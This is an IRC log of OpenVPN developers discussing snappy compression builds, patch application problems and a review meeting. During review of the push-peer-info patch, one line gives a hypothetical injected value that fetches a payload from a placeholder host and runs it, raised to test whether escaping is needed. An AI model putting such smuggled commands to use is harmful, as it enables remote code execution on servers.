minutes before having to leave towards grandma's 03:31 <@cron2> yeah, indeed. One occurance got changed, the other two are still ifconfig_order() 03:31 * cron2 sends more coffee to plaisthos 06:34 <@ecrist> good morning, folks 06:44 <@plaisthos> syzzer: yeah. That was really stupid of me :) 09:25 < syzzer> hehe, considering the lines of code you just submitted I guess you're allowed a mistake ;) 09:26 < syzzer> *number of lines of code 10:24 -!- raidz_away is now known as raidz 10:49 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 12:53 <@plaisthos> argh 12:55 <@plaisthos> .oO(git send-meimal from wrong git repo 13:49 <@dazo> well, hopefully you got a "command not found" error :-P 13:52 <@plaisthos> dazo: nah. You see the result on the mailing list 13:53 <@dazo> heh 13:57 -!- dazo is now known as dazo_afk 17:17 -!- Netsplit *.net <-> *.split quits: Tiaos 17:18 -!- Netsplit over, joins: Tiaos 18:12 -!- Netsplit *.net <-> *.split quits: Tiaos 18:12 -!- Netsplit over, joins: Tiaos 19:25 -!- Netsplit *.net <-> *.split quits: Tiaos 19:30 -!- Netsplit over, joins: Tiaos 19:39 -!- raidz is now known as raidz_away 21:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 21:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:26 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds] --- Day changed Tue Apr 23 2013 01:37 -!- mattock_afk is now known as mattock 03:15 <@plaisthos> Cool google granted me a way to insult people 03:15 <@plaisthos> I can now comment on ratings of the app 03:28 -!- mattock is now known as mattock_afk 04:06 < syzzer> hehe 04:14 -!- dazo_afk is now known as dazo 06:01 -!- novaflash is now known as novaflash_away 06:10 -!- novaflash_away is now known as novaflash 07:49 * cron2 is a bit annoyed at the lack of excitement on the list regarding the peer-info patch... 08:03 * syzzer has it still marked for future processing, "when there's some time to dive in" 08:04 < syzzer> just like the Android patches from plaisthos, btw 08:06 <@plaisthos> cron2: nobody was exited about my dual stack patches either 08:06 <@cron2> heh :-) 08:07 <@plaisthos> cron2: And I already read that patch 08:07 <@plaisthos> I only have not looked at 2/5 in detail 08:07 <@cron2> plaisthos: yeah... (but in this particular case, mattock was complaining here in the channel that this functionality is missing - I deliver, and he's hiding...) 08:07 <@plaisthos> ah that second patch 08:07 <@cron2> plaisthos: no, not the snappy/svn patch set, but the new one :) 08:07 <@cron2> that one crossed the stream with your ifconfig_order() patch set *duck* 08:17 <@plaisthos> cron2: ;) 08:57 <@dazo> cron2: I'm excited by the peer-info patches ... but haven't had time yet to look at the code 08:58 * dazo need to run for a meeting now 08:59 <@cron2> meetings, releases, excuses, ... :-) 09:02 <@dazo> heh 09:03 <@cron2> we should have an openvpn patch review meeting soonish. maybe this week already? 10:13 -!- novaflash is now known as novaflash_away --- Log opened Tue Apr 23 10:19:39 2013 10:19 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:19 -!- Irssi: #openvpn-devel: Total of 23 nicks [7 ops, 0 halfops, 3 voices, 13 normal] 10:19 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:19 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 10:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:33 <@dazo> cron2: yeah ... I might be able to squeeze in something on Thursday 10:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 10:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:20 -!- novaflash_away is now known as novaflash 11:41 -!- mattock_afk is now known as mattock 13:34 -!- dazo is now known as dazo_afk 14:51 <@mattock> so you guys think we should have a meeting this week? 14:52 <@cron2> we have lots of open patches 14:53 <@cron2> it would be good to have "good brains" there to look over the patches, and give feedback (dazo, plaisthos, me, james...) 14:53 <@cron2> (code-wise, not so much feature-wise) 15:02 <+krzee> route-nopull has problems with dhcp-option being pushed now? (2.3) 15:13 <@cron2> should it have? 15:15 <+krzee> i would expect not 15:15 <+krzee> someone not wanting default-gateway may still want nameservers 15:15 <+krzee> (person in #openvpn with this issue) 15:15 <+krzee> [16:15] <krzee> route 0.0.0.0 128.0.0.0 net_gateway 15:15 <+krzee> [16:15] <krzee> route 128.0.0.0 128.0.0.0 net_gateway 15:16 <+krzee> i had him just do that instead of route-nopull to work around 15:16 <@cron2> I can't remember any changes in that area between 2.1 and 2.3 15:16 <+krzee> [15:59] <ThoMe_> Tue Apr 23 21:58:02 2013 Options error: option 'dhcp-option' cannot be used in this context ([PUSH-OPTIONS]) 15:17 <+krzee> same config worked on 2.2 15:17 <@cron2> that would surprise me 15:17 <+krzee> http://pastebin.com/6W8L7vTe 15:17 <+krzee> thats his config 15:18 <@cron2> the corresponding code in 2.1 is exactly the same as in 2.3 15:18 <@cron2> so I'm not believing that "the same config works in 2.2 and not in 2.3" 15:19 <@cron2> just checked options.c, the block that checks permissions for "dhcp-option" 15:19 <@mattock> I'll setup a meeting for next Thursday then 15:19 <@mattock> links to patches appreciated 15:20 <@cron2> mattock: on the list, over the last week 15:20 <@plaisthos> krzee: route-pull ignores dhcp options, I only documented in the 2.3 manpage 15:21 <+krzee> right, shouldnt someone be able to ignore default gateway using route-nopull but still grab dhcp-options? 15:21 <@cron2> krzee: route-nopull activates a block for all options that are tagged as "OPT_P_ROUTE" or "OPT_P_IPWIN32". and all the DHCP stuff is OPT_P_IPWIN32 - and that's unchanged (but maybe nowadays documented) since 2.1 15:21 <@cron2> that point might be made, I'm just pointing out that this is unchanged since ever 15:21 <+krzee> ahh ok 15:21 <+krzee> that was his claim 15:21 <@cron2> the "nopull" stuff might need to become more granular, but I'm not going to implement it 15:22 <+pekster> Chances are what changed was the addition of --route-nopull, not a feature change ;) 15:22 <@cron2> pekster: no, same code in 2.1 and 2.3 15:22 <+pekster> cron2: Maybe, or people can use --route-noexec and do it themselves 15:22 <+pekster> cron2: No, I mean the user's config 15:22 <@plaisthos> the context logging also new (the ([PUSH-OPTIONS])) 15:22 <@cron2> true 15:23 <@cron2> --route-noexec might be a nice workaround 15:23 <+pekster> I'd rather see people with "unique" needs script stuff with the number of hooks they get, not add *more* options to support 15:23 <+krzee> oh route-noexec, that was it! 15:24 <+pekster> krzee, just remember that any legit routes (the VPN network, for instance) that are legit need to be handled. That's of course not necessary in subnet 15:38 -!- mattock is now known as mattock_afk 19:32 -!- raidz is now known as raidz_away 23:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 23:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Wed Apr 24 2013 00:58 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 246 seconds] 01:55 -!- mattock_afk is now known as mattock 02:26 <@mattock> cron2, plaisthos: here's a list of patches to be reviewed in the meeting: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 02:26 <@vpnHelper> Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) 02:26 <@mattock> is something missing/redundant? 02:30 <@mattock> I have a hunch we might not be able to review all those patches in one meeting 02:32 <@cron2> indeed... how's "testing 2.3+patch set in OpenVPN connect client on MacOS and Linux" going ahead? If your colleagues report "it all works perfectly, with snappy and all" that would help :-) 02:32 <@cron2> s/Linux/Windows/ 02:33 <@mattock> uh, damn it, haven't heard anything regarding that one 02:33 <@mattock> I'll poke the guys again :P 02:33 <@mattock> if all else fails, I'll do it myself 02:33 <@cron2> tele-poke :-) 02:47 <@mattock> tele-poke sent 02:57 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 03:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:21 <@plaisthos> mattock: thanks 03:27 <@mattock> np 03:48 <@mattock> I'll make special Windows build of 2.3.1 with your SVN forward-ported patches 03:52 <@mattock> cron2: any clue why the snappy patch fails to apply on both "master" and v2.3.1? 03:52 <@cron2> mattock: it does? 03:52 <@cron2> did you use the one from the list? that's right from my git base 03:52 <@cron2> (you need to apply them in order, of course) 03:53 <@mattock> http://pastebin.com/Hhjhz5uX 03:53 <@mattock> I applied them in order 03:53 <@mattock> 1, 2, 3, 4, 5 03:54 <@cron2> mmmh, let me check 03:55 <@mattock> latest master, patch 2/5 fails 03:55 <@mattock> and everything else dependent on it 03:55 <@cron2> mmmh, let me check 03:55 <@cron2> mmmh, let me check 03:55 <@mattock> take your time :) 03:55 <@cron2> I'm waiting for "git clone" to finish cloning a new repo... 03:57 <@cron2> applies fine for me 03:58 <@cron2> git checkout -b apply_test origin/master 03:58 <@cron2> git am ../../otherrepo/0001* 03:58 <@cron2> git am ../../otherrepo/0002* 03:58 <@cron2> ... 03:58 <@cron2> $ git branch -v 03:58 <@cron2> * apply 3659693 [ahead 5] Fix usage of "compression ..." from global config. 03:58 <@cron2> master fb62104 Improve the git revision tracking 03:59 <@cron2> those are the patches attached to the trac tickets. now let me see if the mails got garbled somehow... 04:00 <@cron2> ok, saved all 5 mails to a mailbox file, did "git am mbox", and it applied all 5 files just fine 04:01 <@cron2> * apply2 b767704 [ahead 5] Fix usage of "compression ..." from global config. 04:04 <@cron2> mattock: you should be able to pull the branch "as_work" from git://github.greenie.net/openvpn-gert.git/ 04:07 <@mattock> cron2: ok, thanks! 04:07 <@mattock> cron2: ah, I got them as mbox files... that might explain it 04:08 <@cron2> mbox files should be fine 04:08 <@cron2> unless your mail client garbles them in weird ways (which is not unheard-of) 04:14 <@mattock> cron2: the patches from Trac applied just fine 04:15 <@cron2> mail is evil 04:26 <@mattock> now building a modified version of Git "master" with SVN patches 04:29 <@cron2> which platform? 05:28 <@mattock> Windows 05:29 <@mattock> I forgot all about snappy... got to add snappy support to openvpn-build :) 05:57 <@mattock> snappy built ok by modified openvpn-build, now waiting if openvpn build works as expected 06:29 <@d12fk> where's snappy better than lzo? 06:31 <@cron2> mattock: cool :-) 06:31 <@cron2> d12fk: James claims snappy compresses as well as lzo but uses significantly less CPU 06:32 <@d12fk> ah, so it's better for mobile devices 06:32 <@cron2> and for servers with lots of clients 06:33 <@mattock> ... yet another build attempt, was building wrong openvpn version :P 06:41 <@plaisthos> One question about snappy: If I have comp-lzo yes and the server pushes compress snappy does it work? 06:41 <@cron2> yes 06:41 <@plaisthos> ah okay 06:42 <@cron2> this is what AS does (and what you can do via client-connect script as well) - the server is started with comp-lzo, and if a snappy compatible client connects (IV_SNAPPY=1 in peer-info), it will send 'compress snappy\npush "compress snappy"' to openvpn 06:43 <@plaisthos> yeah 06:43 <@cron2> and the server will handle different compression algos for different clients just fine 06:44 <@plaisthos> I would still like a nice compress best or something that uses lzo as default and snappy if the client supports it. So I don't have to write client-connect scripts 06:45 <@cron2> plaisthos: this could be done, but it's a bit tricky. The "show push-peer-info" patch right now just puts the stuff into the environment set, so "openvpn itself" doesn't really have access to it (except parsing *es for "IV_SNAPPY"). One would need to add more parsing and handling of the client capabilities to do that. 06:46 <@cron2> But it's "just coding", no changes needed to the protocol. 06:56 <@cron2> plaisthos: is there a way to rename a profile inside openvpn-for-android? 06:58 <@cron2> ah, found it 06:59 <@plaisthos> cron2: yeah understood 07:00 <@plaisthos> cron2: If you want a snappy enabled version of OpenVPN for Android I can build you one. 07:01 <@cron2> I'm a bit short on time this and next week, so won't be able to properly test it - right now I'm beating on the "show peer-info" server side patch on our corp OpenVPN server... 07:03 <@plaisthos> cron2: No problem. I am was only offering because you might have wanted that to test :) 07:05 <@plaisthos> My personal WTF Android API feature: http://code.google.com/p/ics-openvpn/source/detail?r=d2c984f3cbea 07:05 <@vpnHelper> Title: d2c984f3cbea - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 07:06 <@cron2> wtf? 07:08 <@cron2> plaisthos: regarding the snappy patches - yes, eventually I'll want that :-) - appreciated 07:12 <@plaisthos> cron2: just ask me for that. I will compile a new apk then 07:15 <@mattock> cron2: was there something funky C++ stuff going on with snappy? 07:16 <@plaisthos> Snappy is written in C++, but C bindings are included, and several bindings to other languages are maintained by third parties: 07:16 <@cron2> mattock: snappy is a C++ library, so when you link it on unix platforms, you'll get a reference to libstdc++.so as well 07:17 <@mattock> ok, so I think I got openvpn-build to find the snappy include files, but then it gave me complaints like this: http://stackoverflow.com/questions/7015285/undefined-reference-to-operator-deletevoid 07:17 <@vpnHelper> Title: c++ - Undefined reference to operator delete(void*) - Stack Overflow (at stackoverflow.com) 07:17 <@cron2> the original patch from James did some convolutions in configure.ac to test for g++ and explicitely linked with -lstdc++, but that is not necessary *and* breaks if libstdc++.a isn't installed 07:17 <@mattock> I'm wondering how to fix those in the openvpn-build (migw_w64) buildsystem... 07:17 <@plaisthos> or you are linking against libc++ 07:18 <@cron2> (libstdc++.so is the run-time component which is sufficient to link and use libsnappy.so, but to actually call -lstdc++, you need to have libstdc++.a which usually comes as "g++-devel" or such package - which we don't need nor want) 07:18 <@cron2> mattock: never seen those. Is it trying to compile openvpn source with g++? 07:18 <@cron2> where is it failing, at compilation time or at link time? 07:18 <@plaisthos> compiling openvpn with g++ does not work at all 07:18 <@plaisthos> :) 07:19 <@plaisthos> since foo* a=malloc(1234); is invalid in C++ 07:19 <@mattock> just a sec, it'd doing yet another build 07:19 <@cron2> plaisthos: yeah, that does not surprise me :-) 07:19 <@mattock> /usr/bin/i686-w64-mingw32-ld: final link failed: Invalid operation 07:19 <@mattock> linking it seems 07:19 <@plaisthos> cron2: it is not much you have to fix for C++ compiling 07:19 <@plaisthos> basically only the void* pointer stuff 07:20 <@cron2> mattock: what's the command line it is calling? 07:20 <@mattock> good question, I'll may have to add some debugging stuff to figure that out 07:20 <@mattock> actually, it's there 07:21 <@mattock> http://pastebin.com/TkNvp83z 07:21 <@mattock> lovely command-line 07:23 <@plaisthos> mattock: try that exact line but with g++ instead of gcc 07:23 <@d12fk> does snappy not have pkgconfig? 07:23 <@plaisthos> that should work 07:23 <@mattock> plaisthos: ok 07:24 <@d12fk> libsnappy.a could be the c++ lib not the c wrapper 07:25 <@cron2> snappy only builds a single lib, there's no "link this for C, link that for C++" libraries (as far as I could see) 07:25 <@cron2> I think you should call "-lsnappy" with "-L/path/to/snappy", not specify the full path to libsnappy.a 07:25 <@cron2> (it should install a libsnappy.la which will then tell the linker what else it needs) 07:26 <@plaisthos> cron2: when using g++ to link instead of gcc it includes the c++ libs, i.e. providing delete 07:26 <@cron2> ... or make that "-lsnappy -lstdc++" :-) 07:26 <@mattock> hmm, with i686-w64-mingw32-g++ <options> there were no errors 07:28 <@mattock> let's see what the hell openvpn-build does to summon that command-line... 07:29 <@plaisthos> hm android does not use snappy 07:30 <@cron2> which is a bit surprising, since it's claimed to be "the central compression library used by all google products" (or such) 07:30 <@plaisthos> yes 07:30 <@plaisthos> :~/android% repo grep snappy 07:30 <@plaisthos> ah find . -name "*snappy*" at least returned nothing 07:40 <@d12fk> oh snappy really comes without pkgconfig support 07:40 <@d12fk> that's so 1999 =) 07:44 <@d12fk> mattock: how do you make ovpn configure find snappy? 07:45 <@cron2> on unix, you can call configure SNAPPY_CFLAGS="-I/path/to/..." SNAPPY_LIBS="-L/path/to/... -lsnappy" 07:45 <@cron2> "the new world model" that Alon introduced for LZO 07:47 <@d12fk> well that's actually the PKG_CHECK_MODULES macro that makes the defines 07:49 <@d12fk> ,not for lzo, no pkgconfig there either? 07:49 * d12fk checking 07:49 * cron2 has no real understanding of configure.ac, so I copied Alon's work for LZO... if it should be done differently, let me know... 07:49 <@cron2> it's "works for me" but might not be "proper"... 07:50 <@d12fk> lzo doesn't support pkgconfig either 07:51 <@d12fk> oh my can't force it upon ppl =) 07:51 <@d12fk> with it configure is a piece of cake 07:51 <@cron2> yeah, I can see that in comparison 07:51 <@d12fk> for the gui, i.e. 07:52 <@d12fk> PKG_CONFIG_PATH=~/openssl-1.0.1e/w64-static/lib/pkgconfig/ ./configure --host=i686-w64-mingw32 07:52 <@d12fk> and it does its magic 07:52 <@cron2> nice 07:52 <@d12fk> and you'd just have to add the paths to lzo and snappy to make that work as well 07:52 <@d12fk> IFF the'd support it 07:56 <@mattock> wtf, it built with SNAPPY_CFLAGS="... -lsnappy -lstdc++" 07:56 <@d12fk> did you specify a -L 07:58 <@mattock> yep 07:59 <@mattock> I'll check if binary actually includes snappy support 07:59 <@cron2> if it shows [SNAPPY] at --version, it will, and then AS should also push "compress snappy" towards it 08:02 <@mattock> ah yes, now Windows complains about missing libstdc++ when launching openvpn.exe 08:03 <@cron2> do you have a libstdc++.dll? 08:03 <@plaisthos> error: src/openvpn/options.c: does not match index 08:03 <@cron2> ... that will need to be added now, and wasn't needed previously 08:03 <@plaisthos> hat does this git am error message mean? 08:03 <@mattock> no, but I can build one I guess 08:03 <@cron2> plaisthos: what? 08:04 <@plaisthos> patch failed 08:04 <@plaisthos> 1/5 conflicts with dual stack patches (obviously) 08:05 <@cron2> yeah, to be expected (but should be trivial to fix as the whole patch is so small) [as I said: don't ask me what this is good for] 08:05 <@cron2> (actually this is something we should ask James on thursday) 08:06 <@plaisthos> cron2: I think this the same stuff already discussed at FOSDEM 08:06 <@plaisthos> the don't change the configuration 08:06 <@plaisthos> OpenVPN 3 API also has this "feature" 08:07 <@cron2> seems I didn't listen 08:07 <@plaisthos> Instead of replacing the --remote lines you add to configuration, or set the .override_remote() call that changes the remote 08:07 <@cron2> yeah, this is what it does, but I don't understand under which circumstances you'd want that 08:08 <@plaisthos> user wants to specifiy different server I believe 08:08 <@plaisthos> openvpn access config files can have magic comments that define alternative remotes 08:09 <@cron2> oh yeah, those magic comments... "setenv PUSH_PEER_INFO" :-) 08:13 <@plaisthos> snappy patch also does not apply cleanly 08:13 <@plaisthos> I will have too look into this later ... :/ 08:15 <@plaisthos> it is only the configure that fails 08:15 <@plaisthos> I will just ignore that ;) 08:16 <@plaisthos> and the push peer info also fails because of the added android line *grrr* 09:20 <@vpnHelper> RSS Update - tickets: #285: OpenVPN Connect path length issue <https://community.openvpn.net/openvpn/ticket/285> 13:49 -!- raidz is now known as raidz_away 14:11 -!- dazo is now known as dazo_afk 14:18 -!- raidz_away is now known as raidz 18:02 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 19:58 -!- raidz is now known as raidz_away --- Day changed Thu Apr 25 2013 04:04 <@mattock> hmm, I think I now got a snappy-enabled Windows build of OpenVPN 04:04 <@mattock> although I still need to integrate copying of libstd++-6.dll and libgcc_s_sjlj-1.dll into openvpn-build 04:05 <@mattock> besides that, openvpn --version shows "enable_snappy = yes" and using "compress snappy" in the config file gives no errors 04:19 <@cron2> cool :) 04:19 <@cron2> what is libgcc_s_sjlj-1?! 04:21 <@cron2> mattock: found something at stackoverflow right now - linking with "-static-libgcc" should eliminate this dependency... 04:22 <@mattock> yes, I found that one too 04:23 <@mattock> the libstdc++ is a fairly large piece of code, ~8MB 04:23 <@mattock> the other one is fairly small 04:24 <@mattock> would static linking remove the methods/functions from libstdc++-6.dll that are not used by snappy? 04:27 <@cron2> try -static-libstdc++ and see what happens :) 04:28 <@cron2> it won't work on the unixes (as snappy is shared itself, so you can't provide those libstdc++ symbols in the main program), but if you link libsnappy.a static, it *should* work 04:29 <@mattock> ok, I'll try that 04:36 -!- dazo_afk is now known as dazo 04:50 <@cron2> (8MB??!! yuck!) 06:26 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:29 -!- Netsplit *.net <-> *.split quits: EvilJStoker 06:29 -!- EvilJStoker_ is now known as EvilJStoker 06:44 <@plaisthos> cron2: static linking works 06:45 <@plaisthos> http://plai.de/android/ics-openvpn0536-snappy.apk 06:46 <@plaisthos> It is untested since I do not have a snappy enabled server at the moment to test against 06:46 <@plaisthos> lzo still works 06:47 <@plaisthos> But I am linking with stlport instead of libstdc++ 07:31 <@cron2> plaisthos: cool. You can test against udp:gentoo.ov.greenie.net:1194 using your "t_client" credentials 07:34 <@cron2> (plaisthos.key, plaisthos.crt) 08:18 <@plaisthos> cron2: ah okay will do 08:19 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 08:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:25 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:25 <@plaisthos> cron2: I getting compress snappy pushed from your server 08:27 <@plaisthos> .oO(And I should implement X509 parsing, so the client does not only show [[embedded file]] 08:28 <@cron2> I can ping you, so it should work :) 08:28 <@plaisthos> :) 08:29 <@plaisthos> and it only makes openvpn 100k bigger after compression ;) 08:29 <@plaisthos> so about 25kB per platform 08:46 <@cron2> Thu Apr 25 15:27:17 2013 us=795096 plaisthos/::ffff:131.234.78.71 peer info: IV_VER=2.3_master 08:46 <@cron2> you haven't rebased recently :) 08:46 <@plaisthos> cron2: well 08:47 <@plaisthos> cat config.h |grep 2.3_master 08:47 <@plaisthos> #define PACKAGE_VERSION "2.3_master" 08:47 <@plaisthos> At the moment I use the android build system to build openvpn and config.h is more less a static file 08:47 <@cron2> ah 08:48 <@plaisthos> But I could put something better in there I suppose 08:48 <@plaisthos> like 2.3_master_android or something 08:48 <@plaisthos> and rebasing is hell 08:48 <@plaisthos> At the moment I am merging with master 10:17 -!- raidz_away is now known as raidz 12:59 <@mattock> almost meeting time 12:59 <@mattock> jamesyonan should get here,too 12:59 <@cron2> plaisthos: regarding 3/5, I'd actually like to see these functions named "man_read_fd()" and "man_write_fd()", to be more in line with the regular "management only" stuff. Or "man_send_fd()" and "man_recv_with_fd()", given that the regular code uses recv()/send()... 12:59 <@cron2> but that's bikeshedding, the code itself looks good 13:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:04 <@cron2> hi james 13:05 <@mattock> hi jamesyonan 13:05 <@jamesyonan> hi 13:05 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 13:05 <@vpnHelper> Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> we got tons of patches 13:06 <@mattock> start from the top, or? 13:06 <@mattock> oh, who's here, besides me, cron2 and jamesyonan? 13:06 <@mattock> dazo? 13:06 <@mattock> plaisthos I assume 13:07 <@cron2> plaisthos was here all day but didn't say anything for the last 4 hours... 13:07 <@mattock> ok, then it's probably a good idea to review the SVN patches first 13:07 <@mattock> then again, a non-subjective third-party would be nice to have :D 13:08 <@mattock> you're both tainted :P 13:08 <@cron2> indeed :) 13:08 <@cron2> mattock: did you do any actual tests with the windows binary with snappy in it? 13:08 <@mattock> depends on your definition of a test 13:08 <@cron2> "move data to an openvpn server" 13:08 <@mattock> no, not yet 13:09 <@mattock> I haven't yet tested my latest build, which might have statically linked libstd++ and libgcc in it 13:09 <@mattock> not sure 13:09 <@cron2> ic 13:10 <@mattock> anyways, snappy support is definitely baked into the openvpn binary, as the first working build started complaining right away about missing libstdc++ DLL 13:10 <@mattock> and --version showed enable_snappy=yes 13:10 <@mattock> so I think it's only missing the static libraries 13:11 <@mattock> anyways, I need to do more testing on that 13:11 <@mattock> so perhaps we should review plaisthos' patches instead? 13:12 <@cron2> without plaisthos, this is sort of moot as well... I did some review already, and have a list of things that I want to remark... 13:12 <@mattock> ugh 13:12 <@cron2> so what remains is the "remove unused variables" patch (which is sort of trivial) and the "make push-peer-info visible". 13:13 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/7541 13:13 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:13 <@mattock> jamesyonan: any thoughts on this one? 13:13 <@cron2> jamesyonan: I think you're the only one qualified to look at that one anyway :-) - 13:14 <@mattock> cron2: I assume plaisthos' patches on the agenda page don't include any of the socket.c stuff I've been hearing about? 13:14 <@cron2> mattock: no, those are only the android platform patches, the socket stuff is separate (another 10 patches) 13:15 <@mattock> ok, we need to get more people here the next time 13:15 <@mattock> andj is on holiday atm, not sure about next week 13:16 <@jamesyonan> looking at push-peer-info patch... 13:17 <@jamesyonan> so the goal here is to move the peer info strings into environment? 13:17 <@cron2> "make it visible to client-connect and plugins", yes 13:18 <@jamesyonan> how to prevent data from being sent twice on management interface? 13:18 <@cron2> so openvpn 2.x can benefit from the info like "ah, this is an IOS client" 13:18 * dazo is here! 13:18 <@mattock> dazo, excellent! 13:18 <@mattock> we were missing you and everyone else! 13:19 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 13:19 <@vpnHelper> Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) 13:19 <@dazo> sorry, got distracted 13:19 <@cron2> jamesyonan: right now it's sent twice because the "old path" is still there (via man_output_peer_info_env(), which "fakes" environment variables) 13:19 <@mattock> np 13:19 * dazo catches up on cron2's push-peer patch 13:19 <@cron2> jamesyonan: this bit could, if I understand this all correctly, just go (#if 0), as the environment is sent anyway, and the old function sends the data in exactly the same format as if it were "environment" 13:20 <@cron2> the order of peer_info strings is reversed, though 13:20 <@jamesyonan> why is that? 13:21 <@cron2> I think the environment is sent unsorted in the way it's stored, and "more recent additions" are appended to the front of the list 13:22 <@dazo> cron2: have you thought about avoiding shell escaping from the variable names or contents? 13:22 <@jamesyonan> that's probably okay, I don't think there is any order sensitivity with those parms 13:23 <@cron2> dazo: validate_peer_info_line() will only permit alphanumerics+"_" in the name of the variable, and only printables in the content 13:23 <@dazo> I presume $, (, ) and ` considered printable characters ... right? 13:23 <@cron2> so the names are safe, while theoretically someone could do funky stuff with quote characters or whitespace in the content of the variables 13:23 <@cron2> yes 13:24 <@cron2> jamesyonan: I'll do a v2 of the patch, with the "old code path" removed and test it against AS - the snappy stuff should exhibit any surprising mis-parsing just fine 13:25 <@dazo> so .... IV_PLATFORM=$(wget -o /tmp/dirty-hack url.to.payload; sh /tmp/dirty-hack) .... that could cause some fun issues? 13:25 <@jamesyonan> cron2: sounds good 13:25 <@cron2> jamesyonan: what v1 is mostly about is to get a sanity check for "is this the way forward?" 13:25 <@cron2> dazo: unless someone is stupid enough to do "eval $IV_PLATFORM", this should just be content 13:25 <@cron2> blanks are more interesting if you call 'somecomand $IV_PLATFORM' without "" around 13:26 <@dazo> oh true 13:26 <@mattock> ok, now that we have an extra brain here, could we review some of the other patches? 13:26 <@mattock> maybe the SVN stuff? 13:26 <@dazo> I think it would make sense though to strip $ and ` from the values, just to be on the safe side 13:26 <@dazo> or at least escape them in a safe way 13:26 <+krzee> extra brains? /me gets the zombies 13:26 <@cron2> dazo: as I said, you'd need to eval that stuff for it to be dangerous 13:27 <@dazo> cron2: well, we have stupid users who don't think 13:27 <@dazo> and we'll get the blame in the end 13:27 <@mattock> krzee: you just got to the attendee list 13:27 <+krzee> yay, i contributed a zombie joke! 13:27 <@mattock> yep 13:28 <@mattock> you can put to your CV :P 13:28 <@mattock> ok, done with this patch? 13:28 <@cron2> jamesyonan: do you see the need to accept more than "isalnum" + "." + "_" + ":" (mac) + "/" (could be part of the version with the git-version patch) for the IV_ and UV_ variables? 13:29 <@cron2> mattock: always the impatient :-) - we're not yet done with my homework 13:29 <@jamesyonan> cron2: sure I think it makes sense, as long as we don't break AS or introduce new vectors of nastiness via maliciously crafted strings 13:29 <@cron2> current variables are all only "1" or "1.0" or "just strings" (ios, android, ...) 13:30 <@mattock> cron2: you never know if people are thinking or sleeping :P 13:30 <@cron2> jamesyonan: ok, that was the intention (which is why I reject everything that is not IV_ or UV_ - the client would not normally send that, but a hacked client could just send PATH= or such...) 13:30 <@cron2> anyway, I know how to move forward, thanks 13:30 <@cron2> v2 soon 13:30 <@cron2> mattock: *now* we can proceed :-) 13:30 <@mattock> excellent! 13:30 <@mattock> dazo: ready for some fun from SVN? 13:30 <@jamesyonan> mattock -- add multitasking to sleeping and thinking 13:31 <@mattock> cron2 and jamesyonan are a bit tainted when it comes to ACKing these patches 13:31 <@dazo> mattock: svn ... oh dear 13:31 <+krzee> svn lives in 2013! 13:31 <@dazo> :) 13:31 <@cron2> it's not that bad 13:31 <@mattock> well, there's no trace of SVN in the patches themselves 13:31 <@mattock> [PATCH 1/5] ​Added remote-override option 13:31 <@cron2> that's easy, plaisthos already acked it on the list :) 13:32 <@mattock> you mean "I am not sure I like these remote-override but the patch is small enough to include it if OpenVPN AS really needs it." 13:32 <@mattock> ? 13:32 <@cron2> I count this as an ACK 13:32 <@mattock> dazo? 13:33 * dazo still looks 13:33 <@dazo> trying to get the context of remote-override .... I feel it makes sense in some scenarios 13:34 <@cron2> "I have lots of <remote> in my config and want to test with a different server now", this is what plaisthos explained to me (it's in the openvpn 3 code as well) 13:34 <@dazo> Ahh, this is somewhat related to the remote-override possibility via the management interface, isn't it? 13:35 <@dazo> commit 54561af63699e7408fba11c75bbf9e22ed6216dc 13:36 <@mattock> (I'll multitask and test the latest openvpn windows build now) 13:36 <@dazo> the patch is small enough to slip through ... I just don't really understand the real use case for it .... when looking at the management API, it makes sense there ... but I don't see how this would make sense in the option parser 13:36 <@jamesyonan> remote-override is designed to allow client UI to provide user-selectable remote host 13:37 <@dazo> jamesyonan: but that's from the management interface, isn't it? why is it needed in the option parser? 13:37 <@dazo> or was commit 54561af63699e74 not complete without this last patch? 13:38 <@jamesyonan> because the client UI might instantiate the openvpn binary with --config foo --remote-override user-selected-remote.tld 13:39 <@mattock> 